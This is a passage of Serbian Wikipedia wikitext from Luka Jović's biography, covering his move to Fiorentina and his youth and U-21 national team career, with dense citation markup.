web|url=https://www.mozzartsport.com/fudbal/vesti/kakva-podrska-zidana-luki-jovicu-daces-mnogo-golova-za-real/347060|title=Kakva podrška Zidana Luki Joviću: Daćeš mnogo golova za Real!|date=7. 1. 2020|accessdate=8. 1. 2019|publisher=mozzartsport.com}}</ref><ref name="SCdeESP">{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/luka-za-luku-i-velemajstorski-gol-video/347122|title=Luka za Luku i - velemajstorski gol (VIDEO)|date=8. 1. 2020|accessdate=8. 1. 2019|publisher=mozzartsport.com}}</ref> === Fjorentina === Dana 8. jula 2022. godine, Jović je zvanično prešao u italijanski klub [[FK Fjorentina|Fjorentinu]].<ref>{{Cite web |title=Jovic signs for Fiorentina |trans-title=Jović je potpisao za Fjorentinu |url=http://www.acffiorentina.com/en/news/all/news-men-first-team/2022-07-08/jovic-signs-for-fiorentina |access-date=18. 11. 2022. |website=FK Fjorentina, zvanična prezentacija |archive-date=2022-07-09 |archive-url=https://web.archive.org/web/20220709030704/https://www.acffiorentina.com/en/news/all/news-men-first-team/2022-07-08/jovic-signs-for-fiorentina }}</ref> == Reprezentacija == === Razvojni uzrasti === Jović je do 2013. bio član mlađe kadetske reprezentacije Srbije, kod selektora [[Branislav Nikolić|Branislava Nikolića]].<ref>{{Cite news|url=http://www.mojacrvenazvezda.net/56231/2013/02/22/sestorica-zvezdinih-kadeta-u-reprezentaciji/|title=Šestorica Zvezdinih kadeta u reprezentaciji|date=22. 2. 2013|accessdate=6. 12. 2019|author=Vladimir|publisher=mojacrvenazvezda.net|archive-date=2024-12-10|archive-url=https://web.archive.org/web/20241210082642/http://www.mojacrvenazvezda.net/56231/2013/02/22/sestorica-zvezdinih-kadeta-u-reprezentaciji/|url-status=dead}}</ref> Na 12 utakmica, odigranih u tom uzrastu, Jović je postigao 10 pogodaka.{{efn|Broj odigranih utakmica izveden je prema statistici [[veb-sajt]]a ''[[Transfermarkt]]''.<ref name="TM"/> Za više informacija pogledati sekciju vesti na zvaničnoj internet strani Fudbalskog saveza Srbije.<ref>{{cite web|url=http://www.fss.rs/index.php?id=2021|title=Arhiva vesti|website=[[Fudbalski savez Srbije]]|accessdate={{CURRENTDAY}}. {{MONTHNUMBER|{{CURRENTMONTH}}}}. {{CURRENTYEAR}}|url-status=dead|archiveurl=https://web.archive.org/web/20190719111105/http://www.fss.rs/index.php?id=2021|archivedate=19. 7. 2019}}</ref>|name=dih}} Iste godine, Jović je dobio poziv i u kadetsku reprezentaciju, te je tokom oktobra, sa četiri pogotka, bio najbolji strelac kvalifikacionog turnira održanog u Srbiji.<ref name="KaoPančev"/><ref>{{Cite web|url=http://www.novosti.rs/%D0%B2%D0%B5%D1%81%D1%82%D0%B8/%D1%81%D0%BF%D0%BE%D1%80%D1%82.434.html:456733-Sestica-kadeta-na-startu-kvalifikacija|title=Šestica kadeta na startu kvalifikacija|date=1. 10. 2013|accessdate=6. 12. 2019|last=I|first=N.|website=[[Večernje novosti]]}}</ref><ref>{{Cite web|url=https://fudbal.hotsport.rs/2013/10/04/savladani-i-estonci-kadeti-u-drugom-krugu-kvalifikacija/|title=Savladani i Estonci, kadeti u drugom krugu kvalifikacija|date=4. 10. 2013|accessdate=6. 12. 2019|website=hotsport.rs|archive-date=2023-06-01|archive-url=https://web.archive.org/web/20230601175819/https://fudbal.hotsport.rs/2013/10/04/savladani-i-estonci-kadeti-u-drugom-krugu-kvalifikacija/}}</ref> Na prijateljskom meču protiv odgovarajuće selekcije Hrvatske, odigranom [[11. decembar|11. decembra]], na terenu [[Kuća fudbala|Sportskog centra]] [[Fudbalski savez Srbije|Fudbalskog saveza Srbije]] u [[Stara Pazova|Staroj Pazovi]], Jović je postigao [[het-trik]] u pobedi domaće ekipe, rezultatom 4 : 1.<ref>{{Cite web|url=http://www.mozzartsport.com/fudbal/vesti/luka-jovic-terorisao-hrvate-u-pazovi/194090|title=Luka Jović terorisao Hrvate u Pazovi!|publisher=mozzartsport.com|date=11. 12. 2013|accessdate=6. 11. 2019}}</ref> U elitnoj rundi kvalifikacija za Evropsko prvenstvo, odigranoj na proleće 2014, Jović je nastupio na sve tri utakmice. Na prvoj, protiv Irske, Jović je bio strelac, drugi susret, protiv Gruzije, završio je bez konkretnog učinka, dok je protiv Nemačke asistirao [[Ivan Šaponjić|Ivanu Šaponjiću]] za jedini pogodak Srbije u remiju rezultatom 1 : 1.<ref>{{Cite web|url=https://www.sportske.net/vest/domaci-fudbal/ep-kval-saponjic-i-jovic-poveli-srbiju-ka-malti-172333.html|title=EP (kval.) - Šaponjić i Jović poveli Srbiju ka Malti!|date=26. 3. 2014|accessdate=6. 12. 2019|last=Vidojević|first=Mihajlo|publisher=sportske.net|archive-date=06. 12. 2019|archive-url=https://web.archive.org/web/20191206191553/https://www.sportske.net/vest/domaci-fudbal/ep-kval-saponjic-i-jovic-poveli-srbiju-ka-malti-172333.html|url-status=dead}}</ref><ref>{{Cite news|url=http://www.b92.net/sport/vesti.php?yyyy=2014&mm=03&dd=28&nav_id=829824|title=Šaponjić i Karišić nose Srbiju|date=28. 3. 2014|accessdate=6. 12. 2019|last=N|first=Đ.|publisher=[[B92]]}}</ref><ref>{{Cite web|url=https://arhiva.vesti-online.com/Sport/Fudbal/393004/Nemci-nam-se-provukli-Orlici-bez-Evropskog-prvenstva|title=Nemci nam se provukli: "Orlići" bez Evropskog prvenstva|date=31. 3. 2014|accessdate=6. 12. 2019|last=Živković|first=P.|publisher=[[Vesti (novine)|Vesti onlajn]]|archive-date=2024-12-08|archive-url=https://web.archive.org/web/20241208214546/https://arhiva.vesti-online.com/Sport/Fudbal/393004/Nemci-nam-se-provukli-Orlici-bez-Evropskog-prvenstva|url-status=dead}}</ref> Zbog bolje [[Gol-razlika|gol-razlike]], Nemačka je zadržala prvo mesto na tabeli i plasirala se na završni turnir, dok je Srbija na taj način eliminisana iz daljeg takmičenja.<ref>{{Cite web|url=http://www.rts.rs/page/sport/ci/story/31/fudbal/1562438/remi-nedovoljan-za-prvenstvo-evrope.html|title=Remi nedovoljan za prvenstvo Evrope|date=31. 3. 2014|accessdate=6. 12. 2019|website=[[Radio-televizija Srbije]]}}</ref> Selektor [[Fudbalska reprezentacija Srbije do 19 godina|omladinske reprezentacije Srbije]], [[Veljko Paunović]] priključio je treninzima tog sastava i Luku Jovića, kao najmlađeg člana, u maju 2014.<ref>{{Cite web|url=https://arhiva.vesti-online.com/Sport/Fudbal/402396/Luka-Jovic-i-Ivan-Saponjic-medju-omladincima-Srbije|title=Luka Jović i Ivan Šaponjić među omladincima Srbije|date=10. 5. 2014|accessdate=1. 12. 2019|work=mozzartsport.com|publisher=[[Vesti (novine)|Vesti onlajn]]|archive-date=2024-12-08|archive-url=https://web.archive.org/web/20241208223644/https://arhiva.vesti-online.com/Sport/Fudbal/402396/Luka-Jovic-i-Ivan-Saponjic-medju-omladincima-Srbije|url-status=dead}}</ref> Leta iste godine, Paunović ga je uvrstio i na širi spisak reprezentativaca,<ref>{{Cite web|url=http://zurnal.rs/fudbal/1966/paunovic-objavio-siri-spisak-igraca-za-ep-u-madjarskoj|title=Paunović objavio širi spisak igrača za EP u Mađarskoj|date=8. 7. 2014|accessdate=2. 12. 2019|website=[[Sportski žurnal]]}}</ref> a zatim i na konačan spisak putnika na [[Evropsko prvenstvo u fudbalu do 19 godina|Evropsko prvenstvo]] u [[Mađarska|Mađarskoj]].<ref>{{cite web|url=http://www.sportal.rs/news.php?id=129531|title=Paunović skratio spisak: Čekaju se Totenhem i Genk da puste Veljkovića i Savića|website=sportal.rs|date=16. 7. 2014|accessdate=6. 12. 2019|url-status=dead|archiveurl=https://web.archive.org/web/20140719031312/http://www.sportal.rs/news.php?id=129531|archivedate=19. 7. 2014}}</ref> Debitovao je na otvaranju turnira, protiv Ukrajine, kada je zamenio [[Staniša Mandić|Stanišu Mandića]] u 62. minutu.<ref>{{Cite web|url=https://fudbal.hotsport.rs/2014/07/19/orlici-remijem-poceli-odbanu-evropskog-zlata/|title=“Orlići” remijem počeli odbanu evropskog zlata|date=19. 7. 2014|accessdate=6. 12. 2019|website=hotsport.rs|archive-date=2023-10-09|archive-url=https://web.archive.org/web/20231009223057/https://fudbal.hotsport.rs/2014/07/19/orlici-remijem-poceli-odbanu-evropskog-zlata/}}</ref> Na sledećoj utakmici, protiv selekcije Nemačke, Jović se našao u startnoj postavi svoje ekipe, za koju je u 41. minutu postigao pogodak nakon asistencije [[Andrija Živković|Andrije Živkovića]].<ref>{{Cite web|url=http://www.rtv.rs/sr_ci/sport/fudbal/srbija-nemacka-2-2_504850.html|title=Srbija - Nemačka 2:2|date=22. 7. 2014|accessdate=6. 12. 2019|work=[[Novinska agencija Beta]]|publisher=[[Radio-televizija Vojvodine]]}}</ref> Na jesen iste godine, pred početak memorijalnog turnira ''[[Stevan Ćele Vilotić]]'', u dogovoru Crvene zvezde i Fudbalskog saveza Srbije, Jović je ostao da trenira sa klubom,<ref name="Nisi*na*izletu">{{Cite web|url=https://mozzartsport.com/fudbal/vesti/lalatoviceve-lekcije-luki-jovicu-ajde-sine-nije-ti-ovo-izlet/163136|title=Lalatovićeve lekcije Luki Joviću: Ajde, sine, nije ti ovo izlet!|date=2. 9. 2014|accessdate=6. 12. 2019|publisher=mozzartsport.com}}</ref> pa je izostavljen sa spiska selektora [[Ivan Tomić (fudbaler)|Ivana Tomića]].<ref>{{Cite web|url=http://www.novosti.rs/%D0%B2%D0%B5%D1%81%D1%82%D0%B8/%D1%81%D0%BF%D0%BE%D1%80%D1%82.434.html:508434-U-sredu-pocinje-21-memorijalni-turnir-Stevan-Cele-Vilotic-Orlici-na-crtu-petlicima|title=U sredu počinje 21. memorijalni turnir “Stevan Ćele Vilotić”: "Orlići" na crtu "petlićima"|date=2. 9. 2014|accessdate=6. 12. 2019|last=Iljukić|first=N.|publisher=[[Večernje novosti]]}}</ref> Na početku novog kvalifikacionog cuklusa za Evropsko prvenstvo, Jović je bio strelac u pobedi od 4 : 0 nad selekcijom San Marina.<ref>{{Cite web|url=https://www.b92.net/sport/fudbal/vesti.php?yyyy=2014&mm=10&dd=10&nav_id=910200|title=Srbija U19 razbila San Marino|date=10. 10. 2014|accessdate=6. 12. 2019|last=L. N|first=M.|publisher=[[B92]]}}</ref> U martu 2015. godine, Jović je debitovao za selekciju do 18 godina starosti,{{efn|Jović je za mlađu omladinsku reprezentaciju Srbije nastupio na susretu sa odgovarajućom selekcijom [[Poljska|Poljske]], 3. marta 2015. godine. Srbija je tada pobedila rezultatom 5:2, dok je Jović bio strelac jednog od pogodaka.<ref>{{cite web|url=http://www.fss.rs/index.php?id=2021&aid=7137|title=U-18 Srbija –Poljska 5:2 (3:1)|website=[[Fudbalski savez Srbije]]|date=3. 3. 2015|accessdate=6. 6. 2019|url-status=dead|archiveurl=https://web.archive.org/web/20150305054454/http://www.fss.rs/index.php?id=2021&aid=7137|archivedate=5. 3. 2015}}</ref>|name=mor}} dok je na kraju kvalifikacija za Evropsko prvenstvo postigao dva pogotka i upisao dve asistencije u pobedi nad Norveškom.<ref name="2+2zapreokret">{{Cite web|url=https://www.dnevno.rs/sport/dva-gola-jovica-nedovoljna-orlicima-srbija-pobedila-norvesku-ali-ostala-bez-evropskog-prvenstva/|title=Dva gola Jovića nedovoljna ‘Orlićima’: Srbija pobedila Norvešku, ali ostala bez Evropskog prvenstva|date=31. 3. 2015|accessdate=6. 12. 2019|website=dnevno.rs}}</ref> Iste godine, [[Fudbalska reprezentacija Srbije do 20 godina|reprezentacija Srbije do 20 godina]], pod vođstvom Veljka Paunovića, osvojila je [[Svetsko prvenstvo u fudbalu do 20 godina 2015.|Svetsko prvenstvo]], koje se održalo na [[Novi Zeland|Novom Zelandu]]. Jović tada nije bio u sastavu reprezentacije.{{efn|Kao zvanični razlog za izostanak sa spiska reprezentativaca na Svetskom prvenstvu navedena je povreda kolena,<ref>{{Cite web|url=https://www.dnevnik.rs/sport/paunovic-saopstio-spisak-za-sp-na-novom-zelandu|title=Paunović saopštio spisak za SP na Novom Zelandu|date=18. 5. 2015|accessdate=2. 12. 2019|website=[[Dnevnik holding]]}}</ref> koju je Jović pretrpeo na utakmici [[FK Crvena zvezda|Crvene zvezde]] protiv [[FK Čukarički|Čukaričkog]], nekoliko dana ranije.<ref name="Preforsiran"/> U [[intervju]]u za [[veb-sajt]] ''-{Redstarbelgrade.info}-'', početkom 2017, generalni direktor Crvene zvezde, [[Zvezdan Terzić]], rekao je da Paunović nije računao na Jovića kao startera. Pošto su tada bile pripreme na klupskom nivou, usaglasili su se da igrač ne putuje sa ekipom. Uz to, kako je Terzić naveo, ni Jović nije želeo da učestvuje, iz ličnih razloga.<ref name="TerzićRSB">{{Cite web|url=http://www.redstarbelgrade.info/rsb/intervju/10244-presek-prelaznog-roka-zvezdan-terzic-za-rsb.html|title=PRESEK PRELAZNOG ROKA: Zvezdan Terzić, specijalno za RSB|date=17. 1. 2017|accessdate=6. 12. 2019|publisher=redstarbelgrade.info|url-status=dead|archiveurl=https://web.archive.org/web/20170119174614/http://www.redstarbelgrade.info/rsb/intervju/10244-presek-prelaznog-roka-zvezdan-terzic-za-rsb.html|archivedate=19. 1. 2017}}</ref>|name=rsb}} Početkom septembra, Jović je sa svojom generacijom učestvovao na turniru ''Stevan Ćele Vilotić'', gde je na prvom susretu postigao pogodak i asistirao Ivanu Šaponjiću, u pobedi od 3 : 1 protiv selekcije Sjedinjenih Američkih Država. Na naredne dve utakmice, protiv Francuske i Crne Gore, nije nastupao.<ref>{{Cite web|url=https://www.subotica.com/vesti/fudbaleri-srbije-na-startu-turnira-stevan-cele-vilotic-bolji-od-sad-3-1-id23741.html|title=Fudbaleri Srbije na startu turnira "Stevan Ćele Vilotić" bolji od SAD (3:1)|date=4. 9. 2015|accessdate=6. 12. 2019|website=subotica.com}}</ref><ref>{{Cite web|url=https://www.subotica.info/2015/09/06/francuska-i-ukrajina-u-finalu-memorijalnog-turnira-stevan-cele-vilotic|title=Francuska i Ukrajina u finalu Memorijalnog turnira Stevan Ćele Vilotić|date=6. 9. 2015|accessdate=6. 12. 2019|last=Vuković|first=Dejan|website=subotica.info}}{{Dead link|date=May 2026 |bot=InternetArchiveBot |fix-attempted=yes }}</ref><ref>{{Cite web|url=https://fscg.me/vijesti/3827/u19-cetvrto-mjesto-za-sokolice/|title=U19: Četvrto mjesto za "sokoliće"|date=7. 9. 2015|accessdate=6. 12. 2019|website=[[Fudbalski savez Crne Gore]]}}</ref> Na startu kvalifikacija za Evropsko prvenstvo, Jović je postigao het-trik i upisao dvostruku asistenciju u pobedi od 5 : 0 nad sastavom Estonije.{{efn|U različitim izvorima se kao strelac četvrtog pogotka na susretu navode Luka Jović i [[Ivan Šaponjić]].<ref>{{Cite web|url=http://sportklub.rs/Fudbal/Fudbal-ostalo/a89953-RASPUCANI-JOVIC-I-SAPONJIC-Omladinci-ubedljivi-u-Estoniji.html|title=RASPUCANI JOVIĆ I ŠAPONJIĆ: Omladinci ubedljivi u Estoniji|date=8. 10. 2015|accessdate=6. 12. 2019| author = BS |website=[[Sport klub]]}}</ref><ref>{{Cite web|url=https://informer.rs/sport/fudbal/234200/orlovi-igrajte-kao-omladinci-jovic-saponjic-razbili-estoniju|title="ORLOVI", IGRAJTE KAO OMLADINCI! Jović i Šaponjić razbili Estoniju|date=8. 10. 2015|accessdate=6. 12. 2019|publisher=[[Informer]]}}</ref><ref>{{Cite web|url=http://www.supersport.rs/sportske-vesti-fudbal/domaci-fudbal/32266/omladinci-ubedljivi-tandem-jovic-saponjic-za-petardu-srbije.html|title=OMLADINCI UBEDLJIVI: Tandem Jović-Šaponjić za petardu Srbije!|date=8. 10. 2015|accessdate=6. 12. 2019|publisher=supersport.rs}}</ref> Postojala je dilema da li je prilikom šuta Jovića lošta prešla [[Gol linija|gol liniju]], ili je Šaponjić potvrdio pogodak. Gol je zvanično pripisan Luki Joviću.<ref>{{Cite web|url=https://mondo.ba/Sport/Fudbal/a603863/Mlada-reprezentacija-Srbije-pobijedila-Estoniju.html|title=Pakleni tandem Jović-Šaponjić: Razbili Estoniju!|date=8. 10. 2015|accessdate=6. 12. 2019|publisher=mondo.ba}}</ref><ref>{{Cite web|url=https://www.rtvbn.com/360920/EP-Pakleni-tandem-Jovic-Saponjic-razbio-Estoniju|title=EP: Pakleni tandem Jović-Šaponjić razbio Estoniju!|date=8. 10. 2015|accessdate=6. 12. 2019|publisher=[[RTV BN]]}}</ref><ref>{{Cite web|url=http://rs.n1info.com/Sport-Klub/Fudbal/a100060/U19-Briljirali-Saponjic-i-Jovic.html|title=U19: Briljirali Šaponjić i Jović|date=13. 10. 2015|accessdate=6. 12. 2019|author=[[Sport klub]]|website=[[N1]]|archive-date=06. 12. 2019|archive-url=https://web.archive.org/web/20191206230149/http://rs.n1info.com/Sport-Klub/Fudbal/a100060/U19-Briljirali-Saponjic-i-Jovic.html|url-status=dead}}</ref> Pored toga, Jović je bio asistent kod preostalih golova, Šaponjića i [[Nemanja Glavčić|Glavčića]].<ref name="TM"/>|name=zpg}} Odmah zatim, na sledećem susretu, Jović je pogodio i u pobedi od 4 : 0 protiv Jermenije.<ref>{{Cite web|url=https://fudbal.hotsport.rs/2015/10/10/kvalifikacije-za-ep-saponjic-i-jovic-torpedovali-i-jermene/|title=KVALIFIKACIJE ZA EP: Šaponjić i Jović torpedovali i Jermene|date=10. 10. 2015|accessdate=6. 12. 2019|last=Milosavljević|first=Aleksandar|publisher=hotsport.rs|archive-date=2023-11-30|archive-url=https://web.archive.org/web/20231130083313/https://fudbal.hotsport.rs/2015/10/10/kvalifikacije-za-ep-saponjic-i-jovic-torpedovali-i-jermene/}}</ref> U elitnoj rundi kvalifikacija, odigranoj krajem marta u [[Kragujevac|Kragujevcu]] i [[Gornji Milanovac|Gornjem Milanovcu]], Jović je odigrao sve tri utakmice, od kojih je bio strelac iz [[Jedanaesterac|jedanaesterca]] u pobedi od 4 : 1 nad Crnom Gorom. Ekipa Srbije eliminisana je minimalnim porazom od Francuske i nije se plasirala na završni turnir.<ref>{{Cite web|url=http://ritamgrada.rs/kragujevac/sport/remi-srbije-i-danske-na-cika-daci-foto/|last=Lazarević|first=Igor|title=Remi Srbije i Danske na „Čika Dači“ (FOTO)|date=24. 3. 2016|accessdate=2. 12. 2019|website=ritamgrada.rs}}{{Dead link}}</ref><ref>{{Cite web|url=https://fscg.me/vijesti/4105/u19-sokoli-porazeni-od-srbije/|title=U19: Sokoli poraženi od Srbije|date=26. 3. 2019|accessdate=6. 12. 2019|website=[[Fudbalski savez Crne Gore]]}}</ref><ref>{{Cite web|url=https://mondo.rs/Sport/Fudbal/a888602/Srbija-Francuska.html|title=Srbija OPET ne ide na EURO!|date=29. 3. 2019|accessdate=6. 12. 2019|website=mondo.rs}}</ref> === Mlada selekcija === U novembru 2015, Jović je dobio poziv selektora Tomislava Sivića, da se priključi okupljanju [[Fudbalska reprezentacija Srbije do 21 godine|mlade reprezentacije Srbije]].<ref>{{Cite web|url=https://mondo.rs/Sport/Fudbal/a846523/Okupljanje-mlade-reprezentacije-Srbije.html|title=Prozivka "orlića": Rajković, Šaponjić, Jović...|date=9. 11. 2015|accessdate=19. 12. 2019|publisher=mondo.rs}}</ref> Debitovao je na kvalifikacionoj utakmici za [[Evropsko prvenstvo u fudbalu do 21 godine|Evropsko prvenstvo]], protiv ekipe Italije, ušavši u igru umesto [[Ognjen Ožegović|Ognjena Ožegovića]] u 75. minutu igre.<ref>{{Cite web|url=https://informer.rs/sport/fudbal/239379/video-derbi-zavrsen-bez-pobednika-srbija-italija-1-1|title=(VIDEO) DERBI ZAVRŠEN BEZ POBEDNIKA Srbija - Italija 1:1|date=13. 11. 2015|accessdate=19. 12. 2019|publisher=[[Informer]]}}</ref> U igru je, takođe, ušao i nekoliko dana kasnije, na gostovanju Sloveniji, gde je Srbija poražena rezultatom 2 : 0.<ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/kraj-slovenija-srbija-2-0-sporar-naceo-a-hotic-dokusurio-orlice/120930/1510806|title=KRAJ: Slovenija - Srbija 2:0, Šporar načeo, a Hotič dokusurio Orliće!|date=17. 11. 2015|accessdate=19. 12. 2019|publisher=mozzartsport.com}}</ref> Poslednjeg dana maja 2016, Jović je nastupio na susretu sa sastavom Autrije, odigranom u okviru turnira ''Valerij Lobanovski'' u Ukrajini. Kao i na prethodnoj utakmici za mladu reprezentaciju, Jović je na terenu zamenio [[Aleksandar Čavrić|Aleksandra Čavrića]].<ref>{{Cite web|url=https://mondo.rs/Sport/Fudbal/a907600/Srbija-Austrija-3-1-orlici.html|title="Orlići" u finalu turnira Valerij Lobanovski|date=31. 5. 2016|accessdate=19. 12. 2019|publisher=mondo.rs}}</ref> Tokom sezone 2016/17, Jović nije bio stalni član mlade reprezentacije Srbije, ali je redovno dobijao pozive u mlađu selekciju, za koju je odigrao nekoliko prijateljskih utakmica.{{efn|Jović je od 2016. do 2017. godine redovno nastupao za reprezentaciju Srbije do 20 godina, kod trenera [[Nenad Lalatović|Nenada Lalatovića]], [[Ilija Petković|Ilije Petkovića]] i [[Milan Obradović|Milana Obradovića]]. U tom periodu zabeležio je 5 nastupa, na kojima nije postizao pogotke.<ref>{{cite web |url=http://reprezentacija.me/mlada-reprezentacija-porazena-od-srbije|title=Mlada reprezentacija poražena od Srbije| author = Vladan |website=reprezentacija.me|date=13. 11. 2016|accessdate=6. 6. 2019}}</ref><ref>{{cite web|url=http://www.mozzartsport.com/fudbal/vesti/prva-provera-omladinaca-poraz-u-slovackoj-igrali-daca-pantic-luka-jovic-lutovac/188141|title=Prva provera omladinaca: Poraz u Slovačkoj, igrali Dača Pantić, Luka Jović, Lutovac...|publisher=mozzartsport.com|date=23. 3. 2019|accessdate=6. 6. 2019}}</ref><ref>{{cite web|url=http://zerobetportal.com/fudbal/petkovicevi-orlici-odigrali-nereseno-protiv-ukrajine-video/25482|title=Petkovićevi "Orlići" odigrali nerešeno protiv Ukrajine (VIDEO)|last=N|first=D.|publisher=zerobetportal.com|date=28. 3. 2019|accessdate=6. 6. 2019|archive-url=https://web.archive.org/web/20190606121556/http://zerobetportal.com/fudbal/petkovicevi-orlici-odigrali-nereseno-protiv-ukrajine-video/25482|archive-date=06. 06. 2019|url-status=dead}}</ref><ref>{{cite web |url=https://fss.rs/dobro-izdanje-u-izraelu-selekcije-u-20-koja-se-priprema-za-naredni-ciklus-kvalifikacija-za-mlade-00/|title=Dobro izdanje u Izraelu selekcije (U-20) koja se priprema za naredni ciklus kvalifikacija za mlade – 0:0|website=[[Fudbalski savez Srbije]]|date=5. 6. 2017|accessdate=6. 6. 2019}}</ref><ref>{{cite web |url=https://fss.rs/obradovicevi-orlici-posle-remija-u-izraelu-pobedili-grcku-u-novom-sadu-3111/|title=Obradovićevi "orlići" posle remija u Izraelu, pobedili Grčku u Novom Sadu – 3:1(1:1)|website=[[Fudbalski savez Srbije]]|date=9. 6. 2017|accessdate=6. 6. 2019}}</ref>|name=lpo}} Nije se našao na konačnom spisku [[Nenad Lalatović|Nenada Lalatovića]] za Evropsko prvenstvo 2017. godine, održano u [[Poljska|Poljskoj]].<ref>{{Cite web|url=https://www.b92.net/sport/fudbal/vesti.php?yyyy=2017&mm=05&dd=22&nav_id=1263140|title=Lalatović objavio spisak za EP u Poljskoj|date=22. 5. 2017|accessdate=19. 12. 2019|last=T|first=P.|work=[[Novinska agencija Beta]]|publisher=[[B92]]}}</ref> Na početku novog kvalifikacionog ciklusa, septembra iste godine, pod vođstvom [[Goran Đorović|Gorana Đorovića]], Jović je bio strelac i asistent u pobedi od 4 : 0 nad selekcijom Gibraltara.<ref>{{Cite web|url=https://fss.rs/rutinska-pobeda-orlica-protiv-gibraltara-4040/|title=Rutinska pobeda „orlića“ protiv Gibraltara - 4:0(4:0)|date=1. 9. 2017|accessdate=19. 12. 2019|website=[[Fudbalski savez Srbije]]}}</ref> Narednog meseca, nastupio je protiv Makedonije u [[Skoplje|Skoplju]],<ref>{{Cite web|url=https://mondo.rs/Sport/Fudbal/a1046457/Kvalifikacije-za-EP-mladih-2019-Makedonija-Srbija-UZIVO.html|title=Rutina "orlića" u Skoplju, "bomba" Živkovića!|date=6. 10. 2017|accessdate=19. 12. 2019|publisher=mondo.rs}}</ref> kao i Rusije na [[Stadion Karađorđe|Stadionu Karađorđe]] u Novom Sadu, kada je bio strelac dva gola u pobedi svoje ekipe rezultatom 3 : 2.<ref>{{Cite web|url=https://www.b92.net/sport/fudbal/vesti.php?yyyy=2017&mm=10&dd=10&nav_id=1312713|title=Goleada na "Karađorđu", treći trijumf "Orlića"|date=10. 10. 2017|accessdate=19. 12. 2019|last=K|first=A.|publisher=[[B92]]}}</ref> Zatim je pogodio na gostovanju Austriji, u novembru 2017, čime je završen prvi krug kvalifikacionog ciklusa.<ref name="pkaut">{{Cite web|url=https://www.novosti.rs/%D0%B2%D0%B5%D1%81%D1%82%D0%B8/%D1%81%D0%BF%D0%BE%D1%80%D1%82.434.html:695192-KRAJ-Austrija-Srbija-13|title=KRAJ: Austrija-Srbija 1:3|date=10. 11. 2017|accessdate=19. 12. 2019|last=K|first=A.|publisher=[[B92]]}}</ref> U martu naredne godine, kada je protivnik ponovo bio Gibraltar, Jović je po dva puta pogađao i asistirao, za pobedu Srbije od 6 : 0.<ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/tako-mladi-a-tako-golova-gladni-orlici-se-igrali-jovic-terorisao-vrsnjake-6-0/290645|title=Tako mladi, a tako golova gladni! Orlići se igrali, Jović terorisao vršnjake - 6:0!|date=23. 3. 2018|accessdate=19. 12. 2019|last=Stanković|first=Dejan|publisher=mozzartsport.com}}</ref> Poslednji pogodak u kvalifikacijama, Jović je postigao protiv Rusije na [[Stadion Nižnji Novgorod|stadionu]] u [[Nižnji Novgorod|Nižnjem Novgorodu]], iz jedanaesterca koji je prethodno iznudio.<ref>{{Cite web|url=https://mondo.rs/Sport/Fudbal/a1131477/Rusija-Srbija-U21-uzivo-prenos-TV-Arena-sport-kvalifikacije-za-Evropsko-prvenstvo.html|title=Pobeda kao Rusija - nepobediva Srbija ide na EURO!|date=11. 9. 2018|accessdate=19. 12. 2019|publisher=mondo.rs}}</ref> Remijem bez pogodaka protiv Jermenije, kada je Jović u igru ušao u drugom poluvremenu, umesto [[Luka Ilić|Luke Ilića]], Srbija je osvojila prvo mesto u grupi i ostvarila plasman na Evropsko prvenstvo 2019. godine.<ref>{{Cite web|url=https://www.sportskacentrala.com/2018/10/16/orlici-otaljavali-posao-protiv-jermena-sad-se-ceka-zreb-za-ep/|title=„Orlići“ otaljavali posao protiv Jermena, sad se čeka žreb za EP|date=16. 10. 2018|accessdate=19. 12. 2019|publisher=sportskacentrala.com|archive-date=03. 11. 2018|archive-url=https://web.archive.org/web/20181103161237/https://www.sportskacentrala.com/2018/10/16/orlici-otaljavali-posao-protiv-jermena-sad-se-ceka-zreb-za-ep/|url-status=dead}}</ref> Prvog dana juna 2019, Đorović je saopštio konačan spisak fudbalera za [[Evropsko prvenstvo u fudbalu do 21 godine 2019.|završni turnir]] u [[Italija|Italiji]] i [[San Marino|San Marinu]], te se Jovićevo ime našlo među 23 putnika u igračkom kadru.<ref>{{Cite web|url=https://www.telegraf.rs/sport/fudbal/3067337-goran-djorovic-luka-jovic-mlada-fudbalska-reprezentacija-srbije|title=Đorović objavio spisak za EP: Jović i Milenković predvode Srbiju, selektor precrtao Marka Grujića!|date=1. 6. 2019|accessdate=19. 12. 2019|publisher=[[Telegraf.rs|Telegraf]]}}</ref> Na startu takmičenja, odigrao je čitav susret sa Austrijom, kada je Srbija poražena sa 2 : 0, dok je pri minimalnom vođstvu protivnika pogodio prečku.<ref>{{Cite web|url=http://sportklub.rs/Fudbal/Reprezentacije/EURO/a289934-Razocaranje-na-startu-EP-Srbija-izgubila-od-Austrije.html|title=Razočaranje na startu EP - Srbija izgubila od Austrije|date=17. 6. 2019|accessdate=19. 12. 2019|last=Davidović|first=Stefan|publisher=[[Sport klub]]}}</ref> Na drugom susretu, sa ekipom Nemačke, u drugom poluvremenu ga je zamenio [[Dejan Joveljić]],<ref>{{Cite web|url=https://www.b92.net/sport/fudbal/vesti.php?yyyy=2019&mm=06&dd=20&nav_id=1556949|title=Težak poraz Srbije, Nemci brojali do šest, zar se ovako igra Evropsko prvenstvo?!|date=20. 6. 2019|accessdate=19. 12. 2019|last=Babović|first=Žikica|publisher=[[B92]]}}</ref> dok je na poslednjoj utakmici, protiv Danske, ostao na klupi za rezervne igrače i nije ulazio u igru.<ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/umesto-titule-prvaka-titula-najgoreg-tima-na-ep/330700|title=Umesto titule prvaka, titula najgoreg tima na EP|date=23. 6. 2019|accessdate=19. 12. 2019|last=Stanković|first=Dejan|publisher=mozzartsport.com}}</ref> Srbija je time okončala učešće kao poslednjeplasirana, bez osvojenih bodova.<ref>{{Cite web|url=https://sport.blic.rs/fudbal/evropski-fudbal/luka-jovic-mlada-reprezentacija-srbije-evropsko-prvenstvo-izvinjenje/lswgxtc|title=POSLE KRAHA "ORLIĆA" Luka Jović se obratio naciji: Svima nam je mnogo žao i IZVINJAVAMO SE!|date=24. 6. 2019|accessdate=19. 12. 2019|work=[[Sport klub]]|publisher=[[Blic (novine)|Blic]]}}</ref> === Seniorski sastav === [[Datoteka:FWC 2018 - Group E - SRB v BRA - Photo 117.jpg|mini|220p|desno|[[Nemanja Radonjić]], Luka Jović i [[Vladimir Stojković]] na utakmici između Srbije i [[Fudbalska reprezentacija Brazila|Brazila]] na [[Svetsko prvenstvo u fudbalu 2018.|Svetskom prvenstvu]] u [[Rusija|Rusiji]], 2018.]] Usled zapaženih igara na 